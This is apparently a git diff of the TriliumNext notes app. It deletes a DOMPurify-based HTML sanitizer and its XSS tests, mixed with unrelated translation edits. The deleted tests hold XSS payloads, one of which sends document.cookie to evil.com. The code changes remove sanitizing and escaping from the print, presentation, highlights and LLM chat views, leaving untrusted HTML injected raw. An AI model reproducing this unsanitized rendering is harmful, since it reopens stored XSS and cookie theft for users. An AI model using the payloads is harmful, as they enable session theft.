expect(result).not.toContain("javascript:");
|
||||
});
|
||||
|
||||
it("strips javascript: URIs in img src", () => {
|
||||
const html = '<img src="javascript:alert(1)">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("javascript:");
|
||||
});
|
||||
|
||||
it("strips iframe tags", () => {
|
||||
const html = '<iframe src="https://evil.com"></iframe>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<iframe");
|
||||
});
|
||||
|
||||
it("strips object tags", () => {
|
||||
const html = '<object data="evil.swf"></object>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<object");
|
||||
});
|
||||
|
||||
it("strips embed tags", () => {
|
||||
const html = '<embed src="evil.swf">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<embed");
|
||||
});
|
||||
|
||||
it("strips style tags", () => {
|
||||
const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<style");
|
||||
expect(result).toContain("<p>Text</p>");
|
||||
});
|
||||
|
||||
it("strips SVG with embedded script", () => {
|
||||
const html = '<svg><script>alert(1)</script></svg>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<script");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips meta tags", () => {
|
||||
const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<meta");
|
||||
});
|
||||
|
||||
it("strips base tags", () => {
|
||||
const html = '<base href="https://evil.com/"><p>Text</p>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<base");
|
||||
});
|
||||
|
||||
it("strips link tags", () => {
|
||||
const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<link");
|
||||
});
|
||||
|
||||
// --- Edge cases ---
|
||||
|
||||
it("handles empty string", () => {
|
||||
expect(sanitizeNoteContentHtml("")).toBe("");
|
||||
});
|
||||
|
||||
it("handles null-like falsy values", () => {
|
||||
expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null);
|
||||
expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined);
|
||||
});
|
||||
|
||||
it("handles nested XSS attempts", () => {
|
||||
const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onerror");
|
||||
expect(result).not.toContain("fetch");
|
||||
expect(result).not.toContain("cookie");
|
||||
expect(result).toContain("Safe");
|
||||
expect(result).toContain("Also safe");
|
||||
});
|
||||
|
||||
it("handles case-varied event handlers", () => {
|
||||
const html = '<img src="x" ONERROR="alert(1)">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result.toLowerCase()).not.toContain("onerror");
|
||||
});
|
||||
|
||||
it("strips dangerous data: URI on anchor elements", () => {
|
||||
const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
// DOMPurify should either strip the href or remove the dangerous content
|
||||
expect(result).not.toContain("<script");
|
||||
expect(result).not.toContain("alert(1)");
|
||||
});
|
||||
|
||||
it("allows data: URI on image elements", () => {
|
||||
const html = '<img src="data:image/png;base64,iVBOR...">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain("data:image/png");
|
||||
});
|
||||
|
||||
it("strips template tags which could contain scripts", () => {
|
||||
const html = '<template><script>alert(1)</script></template>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<script");
|
||||
expect(result).not.toContain("<template");
|
||||
});
|
||||
});
|
||||
@@ -1,161 +0,0 @@
|
||||
/**
|
||||
* Client-side HTML sanitization for note content rendering.
|
||||
*
|
||||
* This module provides sanitization of HTML content before it is injected into
|
||||
* the DOM, preventing stored XSS attacks. Content written through non-CKEditor
|
||||
* paths (Internal API, ETAPI, Sync) may contain malicious scripts, event
|
||||
* handlers, or other XSS vectors that must be stripped before rendering.
|
||||
*
|
||||
* Uses DOMPurify, a well-audited XSS sanitizer that is already a transitive
|
||||
* dependency of this project (via mermaid).
|
||||
*
|
||||
* The configuration is intentionally permissive for rich-text formatting
|
||||
* (bold, italic, headings, tables, images, links, etc.) while blocking
|
||||
* script execution vectors (script tags, event handlers, javascript: URIs,
|
||||
* data: URIs on non-image elements, etc.).
|
||||
*/
|
||||
import DOMPurify from "dompurify";
|
||||
|
||||
/**
|
||||
* Tags allowed in sanitized note content. This mirrors the server-side
|
||||
* SANITIZER_DEFAULT_ALLOWED_TAGS from @triliumnext/commons plus additional
|
||||
* tags needed for CKEditor content rendering (e.g. <section> for included
|
||||
* notes, <figure>/<figcaption> for images and tables).
|
||||
*
|
||||
* Notably absent: <script>, <style>, <iframe>, <object>, <embed>, <form>,
|
||||
* <input> (except checkbox via specific attribute allowance), <link>, <meta>.
|
||||
*/
|
||||
const ALLOWED_TAGS = [
|
||||
// Headings
|
||||
"h1", "h2", "h3", "h4", "h5", "h6",
|
||||
// Block elements
|
||||
"blockquote", "p", "div", "pre", "section", "article", "aside",
|
||||
"header", "footer", "hgroup", "main", "nav", "address", "details", "summary",
|
||||
// Lists
|
||||
"ul", "ol", "li", "dl", "dt", "dd", "menu",
|
||||
// Inline formatting
|
||||
"a", "b", "i", "strong", "em", "strike", "s", "del", "ins",
|
||||
"abbr", "code", "kbd", "mark", "q", "time", "var", "wbr",
|
||||
"small", "sub", "sup", "big", "tt", "samp", "dfn", "bdi", "bdo",
|
||||
"cite", "acronym", "data", "rp",
|
||||
// Tables
|
||||
"table", "thead", "caption", "tbody", "tfoot", "tr", "th", "td",
|
||||
"col", "colgroup",
|
||||
// Media
|
||||
"img", "figure", "figcaption", "video", "audio", "picture",
|
||||
"area", "map", "track",
|
||||
// Separators
|
||||
"hr", "br",
|
||||
// Interactive (limited)
|
||||
"label", "input",
|
||||
// Other
|
||||
"span",
|
||||
// CKEditor specific
|
||||
"en-media"
|
||||
];
|
||||
|
||||
/**
|
||||
* Attributes allowed on sanitized elements. DOMPurify uses a flat list
|
||||
* of allowed attribute names that apply to all elements.
|
||||
*/
|
||||
const ALLOWED_ATTR = [
|
||||
// Common
|
||||
"class", "style", "title", "id", "dir", "lang", "tabindex",
|
||||
"spellcheck", "translate", "hidden",
|
||||
// Links
|
||||
"href", "target", "rel",
|
||||
// Images & media
|
||||
"src", "alt", "width", "height", "loading", "srcset", "sizes",
|
||||
"controls", "autoplay", "loop", "muted", "preload", "poster",
|
||||
// Data attributes (CKEditor uses these extensively)
|
||||
// DOMPurify allows data-* by default when ADD_ATTR includes them
|
||||
// Tables
|
||||
"colspan", "rowspan", "scope", "headers",
|
||||
// Input (for checkboxes in task lists)
|
||||
"type", "checked", "disabled",
|
||||
// Misc
|
||||
"align", "valign", "center",
|
||||
"open", // for <details>
|
||||
"datetime", // for <time>, <del>, <ins>
|
||||
"cite" // for <blockquote>, <del>, <ins>
|
||||
];
|
||||
|
||||
/**
|
||||
* URI-safe protocols allowed in href/src attributes.
|
||||
* Blocks javascript:, vbscript:, and other dangerous schemes.
|
||||
*/
|
||||
// Note: data: is intentionally omitted here; it is handled via ADD_DATA_URI_TAGS
|
||||
// which restricts data: URIs to only <img> elements.
|
||||
const ALLOWED_URI_REGEXP = /^(?:(?:https?|ftps?|mailto|evernote|file|gemini|git|gopher|irc|irc6|jabber|magnet|sftp|skype|sms|spotify|steam|svn|tel|smb|zotero|geo|obsidian|logseq|onenote|slack):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i;
|
||||
|
||||
/**
|
||||
* DOMPurify configuration for sanitizing note content.
|
||||
*/
|
||||
const PURIFY_CONFIG: DOMPurify.Config = {
|
||||
ALLOWED_TAGS,
|
||||
ALLOWED_ATTR,
|
||||
ALLOWED_URI_REGEXP,
|
||||
// Allow data-* attributes (used extensively by CKEditor)
|
||||
ADD_ATTR: ["data-note-id", "data-note-path", "data-href", "data-language",
|
||||
"data-value", "data-box-type", "data-link-id", "data-no-context-menu"],
|
||||
// Do not allow <style> or <script> tags
|
||||
FORBID_TAGS: ["script", "style", "iframe", "object", "embed", "link", "meta",
|
||||
"base", "noscript", "template"],
|
||||
// Do not allow event handler attributes
|
||||
FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover", "onfocus",
|
||||
"onblur", "onsubmit", "onreset", "onchange", "oninput",
|
||||
"onkeydown", "onkeyup", "onkeypress", "onmousedown",
|
||||
"onmouseup", "onmousemove", "onmouseout", "onmouseenter",
|
||||
"onmouseleave", "ondblclick", "oncontextmenu", "onwheel",
|
||||
"ondrag", "ondragend", "ondragenter", "ondragleave",
|
||||
"ondragover", "ondragstart", "ondrop", "onscroll",
|
||||
"oncopy", "oncut", "onpaste", "onanimationend",
|
||||
"onanimationiteration", "onanimationstart",
|
||||
"ontransitionend", "onpointerdown", "onpointerup",
|
||||
"onpointermove", "onpointerover", "onpointerout",
|
||||
"onpointerenter", "onpointerleave", "ontouchstart",
|
||||
"ontouchend", "ontouchmove", "ontouchcancel"],
|
||||
// Allow data: URIs only for images (needed for inline images)
|
||||
ADD_DATA_URI_TAGS: ["img"],
|
||||
// Return a string
|
||||
RETURN_DOM: false,
|
||||
RETURN_DOM_FRAGMENT: false,
|
||||
// Keep the document structure intact
|
||||
WHOLE_DOCUMENT: false,
|
||||
// Allow target attribute on links
|
||||
ADD_TAGS: []
|
||||
};
|
||||
|
||||
// Configure a DOMPurify hook to handle data-* attributes more broadly
|
||||
// since CKEditor uses many custom data attributes.
|
||||
DOMPurify.addHook("uponSanitizeAttribute", (node, data) => {
|
||||
// Allow all data-* attributes
|
||||
if (data.attrName.startsWith("data-")) {
|
||||
data.forceKeepAttr = true;
|
||||
}
|
||||
});
|
||||
|
||||
/**
|
||||
* Sanitizes HTML content for safe rendering in the DOM.
|
||||
*
|
||||
* This function should be called on all user-provided HTML content before
|
||||
* inserting it into the DOM via dangerouslySetInnerHTML, jQuery .html(),
|
||||
* or Element.innerHTML.
|
||||
*
|
||||
* The sanitizer preserves rich-text formatting produced by CKEditor
|
||||
* (bold, italic, links, tables, images, code blocks, etc.) while
|
||||
* stripping XSS vectors (script tags, event handlers, javascript: URIs).
|
||||
*
|
||||
* @param dirtyHtml - The untrusted HTML string to sanitize.
|
||||
* @returns A sanitized HTML string safe for DOM insertion.
|
||||
*/
|
||||
export function sanitizeNoteContentHtml(dirtyHtml: string): string {
|
||||
if (!dirtyHtml) {
|
||||
return dirtyHtml;
|
||||
}
|
||||
return DOMPurify.sanitize(dirtyHtml, PURIFY_CONFIG) as string;
|
||||
}
|
||||
|
||||
export default {
|
||||
sanitizeNoteContentHtml
|
||||
};
|
||||
@@ -1232,7 +1232,6 @@
|
||||
"openai_configuration": "OpenAI Configuration",
|
||||
"openai_settings": "OpenAI Settings",
|
||||
"api_key": "API Key",
|
||||
"api_key_placeholder": "API key is configured (enter a new value to replace it)",
|
||||
"url": "Base URL",
|
||||
"model": "Model",
|
||||
"openai_api_key_description": "Your OpenAI API key for accessing their AI services",
|
||||
|
||||
@@ -669,7 +669,7 @@
|
||||
"button_exit": "Salir del modo Zen"
|
||||
},
|
||||
"sync_status": {
|
||||
"unknown": "<p>El estado de sincronización será conocido una vez que el siguiente intento de sincronización comience.</p><p>Dé clic para activar la sincronización ahora</p>",
|
||||
"unknown": "<p>El estado de sincronización será conocido una vez que el siguiente intento de sincronización comience.</p><p>Dé clic para activar la sincronización ahora.</p>",
|
||||
"connected_with_changes": "<p>Conectado al servidor de sincronización. <br>Hay cambios pendientes que aún no se han sincronizado.</p><p>Dé clic para activar la sincronización.</p>",
|
||||
"connected_no_changes": "<p>Conectado al servidor de sincronización.<br>Todos los cambios ya han sido sincronizados.</p><p>Dé clic para activar la sincronización.</p>",
|
||||
"disconnected_with_changes": "<p>El establecimiento de la conexión con el servidor de sincronización no ha tenido éxito.<br>Hay algunos cambios pendientes que aún no se han sincronizado.</p><p>Dé clic para activar la sincronización.</p>",
|
||||
@@ -760,7 +760,7 @@
|
||||
"mobile_detail_menu": {
|
||||
"insert_child_note": "Insertar subnota",
|
||||
"delete_this_note": "Eliminar esta nota",
|
||||
"error_cannot_get_branch_id": "No se puede obtener el branchID del notePath '{{notePath}}'",
|
||||
"error_cannot_get_branch_id": "No se puede obtener el branchId del notePath '{{notePath}}'",
|
||||
"error_unrecognized_command": "Comando no reconocido {{command}}",
|
||||
"note_revisions": "Revisiones de notas",
|
||||
"backlinks": "Vínculos de retroceso",
|
||||
@@ -1012,7 +1012,7 @@
|
||||
"no_attachments": "Esta nota no tiene archivos adjuntos."
|
||||
},
|
||||
"book": {
|
||||
"no_children_help": "Esta nota de tipo libro no tiene ninguna subnota así que no hay nada que mostrar. Véa la <a href=\"https://triliumnext.github.io/Docs/Wiki/book-note.html\">wiki</a> para más detalles.",
|
||||
"no_children_help": "Esta colección no tiene ninguna subnota así que no hay nada que mostrar.",
|
||||
"drag_locked_title": "Bloqueado para edición",
|
||||
"drag_locked_message": "No se permite Arrastrar pues la colección está bloqueada para edición."
|
||||
},
|
||||
@@ -1560,7 +1560,7 @@
|
||||
"shortcuts": {
|
||||
"keyboard_shortcuts": "Atajos de teclado",
|
||||
"multiple_shortcuts": "Varios atajos para la misma acción se pueden separar mediante comas.",
|
||||
"electron_documentation": "Véa la <a href=\"https://www.electronjs.org/docs/latest/api/accelerator\">documentación de Electron </a> para los modificadores y códigos de tecla disponibles.",
|
||||
"electron_documentation": "Consulte la <a href=\"https://www.electronjs.org/docs/latest/api/accelerator\">documentación de Electron</a> para los modificadores y códigos de tecla disponibles.",
|
||||
"type_text_to_filter": "Escriba texto para filtrar los accesos directos...",
|
||||
"action_name": "Nombre de la acción",
|
||||
"shortcuts": "Atajos",
|
||||
@@ -1826,7 +1826,7 @@
|
||||
"no_headings": "Sin encabezados."
|
||||
},
|
||||
"watched_file_update_status": {
|
||||
"file_last_modified": "Archivo <code class=\"file-path\"></code> ha sido modificado por última vez en<span class=\"file-last-modified\"></span>.",
|
||||
"file_last_modified": "El archivo <code class=\"file-path\"></code> ha sido modificado por última vez en <span class=\"file-last-modified\"></span>.",
|
||||
"upload_modified_file": "Subir archivo modificado",
|
||||
"ignore_this_change": "Ignorar este cambio"
|
||||
},
|
||||
@@ -2050,7 +2050,8 @@
|
||||
"max-nesting-depth": "Máxima profundidad de anidamiento:",
|
||||
"vector_light": "Vector (claro)",
|
||||
"vector_dark": "Vector (oscuro)",
|
||||
"raster": "Trama"
|
||||
"raster": "Trama",
|
||||
"show-labels": "Mostrar nombres de marcadores"
|
||||
},
|
||||
"table_context_menu": {
|
||||
"delete_row": "Eliminar fila"
|
||||
@@ -2158,7 +2159,9 @@
|
||||
"percentage": "%"
|
||||
},
|
||||
"pagination": {
|
||||
"total_notes": "{{count}} notas"
|
||||
"total_notes": "{{count}} notas",
|
||||
"prev_page": "Página anterior",
|
||||
"next_page": "Página siguiente"
|
||||
},
|
||||
"presentation_view": {
|
||||
"edit-slide": "Editar este slide",
|
||||
|
||||
@@ -81,13 +81,17 @@
|
||||
"search_for_note_by_its_name": "이름으로 노트 검색하기",
|
||||
"no_path_to_clone_to": "클론할 경로가 존재하지 않습니다.",
|
||||
"note_cloned": "노트 \"{{clonedTitle}}\"이(가) \"{{targetTitle}}\"로 클론되었습니다",
|
||||
"cloned_note_prefix_title": "클론된 노트는 지정된 접두사와 함께 노트 트리에 표시됩니다"
|
||||
"cloned_note_prefix_title": "클론된 노트는 지정된 접두사와 함께 노트 트리에 표시됩니다",
|
||||
"prefix_optional": "접두사 (선택 사항)",
|
||||
"clone_to_selected_note": "선택한 노트에 클론"
|
||||
},
|
||||
"confirm": {
|
||||
"confirmation": "확인",
|
||||
"cancel": "취소",
|
||||
"ok": "OK",
|
||||
"are_you_sure_remove_note": "관계 맵에서 \"{{title}}\" 노트를 정말로 제거하시겠습니까? "
|
||||
"are_you_sure_remove_note": "관계 맵에서 \"{{title}}\" 노트를 정말로 제거하시겠습니까? ",
|
||||
"if_you_dont_check": "이 항목을 선택하지 않으면 해당 노트는 관계 맵에서만 제거됩니다.",
|
||||
"also_delete_note": "노트를 함께 삭제"
|
||||
},
|
||||
"delete_notes": {
|
||||
"erase_notes_description": "일반(소프트) 삭제는 메모를 삭제된 것으로 표시하는 것일 뿐이며, 일정 시간 동안 (최근 변경 내용 대화 상자에서) 복구할 수 있습니다. 이 옵션을 선택하면 메모가 즉시 삭제되며 복구할 수 없습니다.",
|
||||
@@ -97,7 +101,10 @@
|
||||
"broken_relations_to_be_deleted": "다음 관계가 끊어지고 삭제됩니다({{ relationCount}})",
|
||||
"cancel": "취소",
|
||||
"ok": "OK",
|
||||
"deleted_relation_text": "삭제 예정인 노트 {{- note}} (은)는 {{- source}}에서 시작된 관계 {{- relation}}에 의해 참조되고 있습니다."
|
||||
"deleted_relation_text": "삭제 예정인 노트 {{- note}} (은)는 {{- source}}에서 시작된 관계 {{- relation}}에 의해 참조되고 있습니다.",
|
||||
"delete_notes_preview": "노트 미리보기 삭제",
|
||||
"close": "닫기",
|
||||
"delete_all_clones_description": "모든 복제본 삭제(최근 변경 사항에서 되돌릴 수 있습니다)"
|
||||
},
|
||||
"export": {
|
||||
"export_note_title": "노트 내보내기",
|
||||
@@ -108,10 +115,25 @@
|
||||
"export_in_progress": "내보내기 진행 중: {{progressCount}}",
|
||||
"export_finished_successfully": "내보내기를 성공적으로 완료했습니다.",
|
||||
"format_pdf": "PDF - 인쇄 또는 공유용",
|
||||
"share-format": "웹 게시용 HTML - 공유 노트에 사용되는 것과 동일한 테마를 사용하지만 정적 웹사이트로 게시할 수 있습니다."
|
||||
"share-format": "웹 게시용 HTML - 공유 노트에 사용되는 것과 동일한 테마를 사용하지만 정적 웹사이트로 게시할 수 있습니다.",
|
||||
"close": "닫기",
|
||||
"export_type_subtree": "이 노트와 모든 후손 노트",
|
||||
"format_html": "HTML - 모든 형식 유지됨, 권장",
|
||||
"format_html_zip": "HTML(ZIP 아카이브) - 모든 서식이 유지됨, 권장.",
|
||||
"format_markdown": "마크다운 - 대부분의 서식이 유지됩니다.",
|
||||
"format_opml": "OPML은 텍스트 전용 아웃라이너 교환 형식입니다. 서식, 이미지 및 파일은 포함되지 않습니다.",
|
||||
"opml_version_1": "OPML v1.0 - 일반 텍스트만",
|
||||
"opml_version_2": "OPML v2.0 - HTML 지원"
|
||||
},
|
||||
"help": {
|
||||
"title": "치트 시트",
|
||||
"editShortcuts": "키보드 단축키 편집"
|
||||
"editShortcuts": "키보드 단축키 편집",
|
||||
"noteNavigation": "노트 내비게이션",
|
||||
"goUpDown": "노트 목록에서 위/아래로 이동",
|
||||
"collapseExpand": "노트 접기/펼치기",
|
||||
"notSet": "미설정",
|
||||
"goBackForwards": "히스토리에서 뒤로/앞으로 이동",
|
||||
"showJumpToNoteDialog": "<a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/note-navigation.html#jump-to-note\">\"노트로 이동\" 대화 상자</a> 표시",
|
||||
"scrollToActiveNote": "활성화된 노트로 스크롤 이동"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,7 +4,6 @@ import type FNote from "../../../entities/fnote";
|
||||
import type { PrintReport } from "../../../print";
|
||||
import content_renderer from "../../../services/content_renderer";
|
||||
import froca from "../../../services/froca";
|
||||
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
|
||||
import type { ViewModeProps } from "../interface";
|
||||
import { filterChildNotes, useFilteredNoteIds } from "./utils";
|
||||
|
||||
@@ -88,7 +87,7 @@ export function ListPrintView({ note, noteIds: unfilteredNoteIds, onReady, onPro
|
||||
<h1>{note.title}</h1>
|
||||
|
||||
{state.notesWithContent?.map(({ note: childNote, contentEl }) => (
|
||||
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: sanitizeNoteContentHtml(contentEl.innerHTML) }} />
|
||||
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: contentEl.innerHTML }} />
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
import { NoteType } from "@triliumnext/commons";
|
||||
import FNote from "../../../entities/fnote";
|
||||
import contentRenderer from "../../../services/content_renderer";
|
||||
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
|
||||
import { ProgressChangedFn } from "../interface";
|
||||
|
||||
type DangerouslySetInnerHTML = { __html: string; };
|
||||
@@ -73,7 +72,7 @@ async function processContent(note: FNote): Promise<DangerouslySetInnerHTML> {
|
||||
const { $renderedContent } = await contentRenderer.getRenderedContent(note, {
|
||||
noChildrenList: true
|
||||
});
|
||||
return { __html: sanitizeNoteContentHtml($renderedContent.html()) };
|
||||
return { __html: $renderedContent.html() };
|
||||
}
|
||||
|
||||
async function postProcessSlides(slides: (PresentationSlideModel | PresentationSlideBaseModel)[]) {
|
||||
|
||||
@@ -13,27 +13,6 @@ import katex from "../services/math.js";
|
||||
import options from "../services/options.js";
|
||||
import OnClickButtonWidget from "./buttons/onclick_button.js";
|
||||
import RightPanelWidget from "./right_panel_widget.js";
|
||||
import DOMPurify from "dompurify";
|
||||
|
||||
/**
|
||||
* DOMPurify configuration for highlight list items. Only allows inline
|
||||
* formatting tags that appear in highlighted text (bold, italic, underline,
|
||||
* colored/background-colored spans, KaTeX math output).
|
||||
*/
|
||||
const HIGHLIGHT_PURIFY_CONFIG: DOMPurify.Config = {
|
||||
ALLOWED_TAGS: [
|
||||
"b", "i", "em", "strong", "u", "s", "del", "sub", "sup",
|
||||
"code", "mark", "span", "abbr", "small", "a",
|
||||
// KaTeX rendering output elements
|
||||
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
|
||||
"msub", "mfrac", "mover", "munder", "munderover",
|
||||
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
|
||||
"mspace", "annotation"
|
||||
],
|
||||
ALLOWED_ATTR: ["class", "style", "href", "aria-hidden", "encoding", "xmlns"],
|
||||
RETURN_DOM: false,
|
||||
RETURN_DOM_FRAGMENT: false
|
||||
};
|
||||
|
||||
const TPL = /*html*/`<div class="highlights-list-widget">
|
||||
<style>
|
||||
@@ -276,7 +255,7 @@ export default class HighlightsListWidget extends RightPanelWidget {
|
||||
|
||||
if (prevEndIndex !== -1 && startIndex === prevEndIndex) {
|
||||
// If the previous element is connected to this element in HTML, then concatenate them into one.
|
||||
$highlightsList.children().last().append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
|
||||
$highlightsList.children().last().append(subHtml);
|
||||
} else {
|
||||
// TODO: can't be done with $(subHtml).text()?
|
||||
//Can’t remember why regular expressions are used here, but modified to $(subHtml).text() works as expected
|
||||
@@ -288,12 +267,12 @@ export default class HighlightsListWidget extends RightPanelWidget {
|
||||
//If the two elements have the same style and there are only formulas in between, append the formulas and the current element to the end of the previous element.
|
||||
if (this.areOuterTagsConsistent(prevSubHtml, subHtml) && onlyMathRegex.test(substring)) {
|
||||
const $lastLi = $highlightsList.children("li").last();
|
||||
$lastLi.append(DOMPurify.sanitize(await this.replaceMathTextWithKatax(substring), HIGHLIGHT_PURIFY_CONFIG));
|
||||
$lastLi.append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
|
||||
$lastLi.append(await this.replaceMathTextWithKatax(substring));
|
||||
$lastLi.append(subHtml);
|
||||
} else {
|
||||
$highlightsList.append(
|
||||
$("<li>")
|
||||
.html(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG))
|
||||
.html(subHtml)
|
||||
.on("click", () => this.jumpToHighlightsList(findSubStr, hltIndex))
|
||||
);
|
||||
}
|
||||
|
||||
@@ -8,7 +8,7 @@ import server from "../../services/server.js";
|
||||
import noteAutocompleteService from "../../services/note_autocomplete.js";
|
||||
|
||||
import { TPL, addMessageToChat, showSources, hideSources, showLoadingIndicator, hideLoadingIndicator } from "./ui.js";
|
||||
import { escapeHtml, formatMarkdown } from "./utils.js";
|
||||
import { formatMarkdown } from "./utils.js";
|
||||
import { createChatSession, checkSessionExists, setupStreamingResponse, getDirectResponse } from "./communication.js";
|
||||
import { extractInChatToolSteps } from "./message_processor.js";
|
||||
import { validateProviders } from "./validation.js";
|
||||
@@ -683,31 +683,29 @@ export default class LlmChatPanel extends BasicWidget {
|
||||
let icon = 'bx-info-circle';
|
||||
let className = 'info';
|
||||
let content = '';
|
||||
const safeContent = escapeHtml(step.content || '');
|
||||
const safeName = escapeHtml(step.name || 'unknown');
|
||||
|
||||
if (step.type === 'executing') {
|
||||
icon = 'bx-code-block';
|
||||
className = 'executing';
|
||||
content = `<div>${safeContent || 'Executing tools...'}</div>`;
|
||||
content = `<div>${step.content || 'Executing tools...'}</div>`;
|
||||
} else if (step.type === 'result') {
|
||||
icon = 'bx-terminal';
|
||||
className = 'result';
|
||||
content = `
|
||||
<div>Tool: <strong>${safeName}</strong></div>
|
||||
<div class="mt-1 ps-3">${safeContent}</div>
|
||||
<div>Tool: <strong>${step.name || 'unknown'}</strong></div>
|
||||
<div class="mt-1 ps-3">${step.content || ''}</div>
|
||||
`;
|
||||
} else if (step.type === 'error') {
|
||||
icon = 'bx-error-circle';
|
||||
className = 'error';
|
||||
content = `
|
||||
<div>Tool: <strong>${safeName}</strong></div>
|
||||
<div class="mt-1 ps-3 text-danger">${safeContent || 'Error occurred'}</div>
|
||||
<div>Tool: <strong>${step.name || 'unknown'}</strong></div>
|
||||
<div class="mt-1 ps-3 text-danger">${step.content || 'Error occurred'}</div>
|
||||
`;
|
||||
} else if (step.type === 'generating') {
|
||||
icon = 'bx-message-dots';
|
||||
className = 'generating';
|
||||
content = `<div>${safeContent || 'Generating response...'}</div>`;
|
||||
content = `<div>${step.content || 'Generating response...'}</div>`;
|
||||
}
|
||||
|
||||
return `
|
||||
@@ -1371,11 +1369,11 @@ export default class LlmChatPanel extends BasicWidget {
|
||||
step.innerHTML = `
|
||||
<div class="d-flex align-items-center">
|
||||
<i class="bx bx-code-block me-2"></i>
|
||||
<span>Executing tool: <strong>${escapeHtml(toolExecutionData.tool || 'unknown')}</strong></span>
|
||||
<span>Executing tool: <strong>${toolExecutionData.tool || 'unknown'}</strong></span>
|
||||
</div>
|
||||
${toolExecutionData.args ? `
|
||||
<div class="tool-args mt-1 ps-3">
|
||||
<code>Args: ${escapeHtml(JSON.stringify(toolExecutionData.args || {}, null, 2))}</code>
|
||||
<code>Args: ${JSON.stringify(toolExecutionData.args || {}, null, 2)}</code>
|
||||
</div>` : ''}
|
||||
`;
|
||||
stepsContainer.appendChild(step);
|
||||
@@ -1403,7 +1401,7 @@ export default class LlmChatPanel extends BasicWidget {
|
||||
<ul class="list-unstyled ps-1">
|
||||
${results.map((note: any) => `
|
||||
<li class="mb-1">
|
||||
<a href="#" class="note-link" data-note-id="${escapeHtml(note.noteId || '')}">${escapeHtml(note.title || '')}</a>
|
||||
<a href="#" class="note-link" data-note-id="${note.noteId}">${note.title}</a>
|
||||
${note.similarity < 1 ? `<span class="text-muted small ms-1">(similarity: ${(note.similarity * 100).toFixed(0)}%)</span>` : ''}
|
||||
</li>
|
||||
`).join('')}
|
||||
@@ -1414,17 +1412,17 @@ export default class LlmChatPanel extends BasicWidget {
|
||||
}
|
||||
// Format the result based on type for other tools
|
||||
else if (typeof toolExecutionData.result === 'object') {
|
||||
// For objects, format as pretty JSON (escape HTML to prevent injection via JSON values)
|
||||
resultDisplay = `<pre class="mb-0"><code>${escapeHtml(JSON.stringify(toolExecutionData.result, null, 2))}</code></pre>`;
|
||||
// For objects, format as pretty JSON
|
||||
resultDisplay = `<pre class="mb-0"><code>${JSON.stringify(toolExecutionData.result, null, 2)}</code></pre>`;
|
||||
} else {
|
||||
// For simple values, display as escaped text
|
||||
resultDisplay = `<div>${escapeHtml(String(toolExecutionData.result))}</div>`;
|
||||
// For simple values, display as text
|
||||
resultDisplay = `<div>${String(toolExecutionData.result)}</div>`;
|
||||
}
|
||||
|
||||
step.innerHTML = `
|
||||
<div class="d-flex align-items-center">
|
||||
<i class="bx bx-terminal me-2"></i>
|
||||
<span>Tool: <strong>${escapeHtml(toolExecutionData.tool || 'unknown')}</strong></span>
|
||||
<span>Tool: <strong>${toolExecutionData.tool || 'unknown'}</strong></span>
|
||||
</div>
|
||||
<div class="tool-result mt-1 ps-3">
|
||||
${resultDisplay}
|
||||
@@ -1454,10 +1452,10 @@ export default class LlmChatPanel extends BasicWidget {
|
||||
step.innerHTML = `
|
||||
<div class="d-flex align-items-center">
|
||||
<i class="bx bx-error-circle me-2"></i>
|
||||
<span>Error in tool: <strong>${escapeHtml(toolExecutionData.tool || 'unknown')}</strong></span>
|
||||
<span>Error in tool: <strong>${toolExecutionData.tool || 'unknown'}</strong></span>
|
||||
</div>
|
||||
<div class="tool-error mt-1 ps-3 text-danger">
|
||||
${escapeHtml(toolExecutionData.error || 'Unknown error')}
|
||||
${toolExecutionData.error || 'Unknown error'}
|
||||
</div>
|
||||
`;
|
||||
stepsContainer.appendChild(step);
|
||||
|
||||
@@ -3,8 +3,7 @@
|
||||
*/
|
||||
import { t } from "../../services/i18n.js";
|
||||
import type { ToolExecutionStep } from "./types.js";
|
||||
import { escapeHtml, formatMarkdown, applyHighlighting } from "./utils.js";
|
||||
import DOMPurify from "dompurify";
|
||||
import { formatMarkdown, applyHighlighting } from "./utils.js";
|
||||
|
||||
// Template for the chat widget
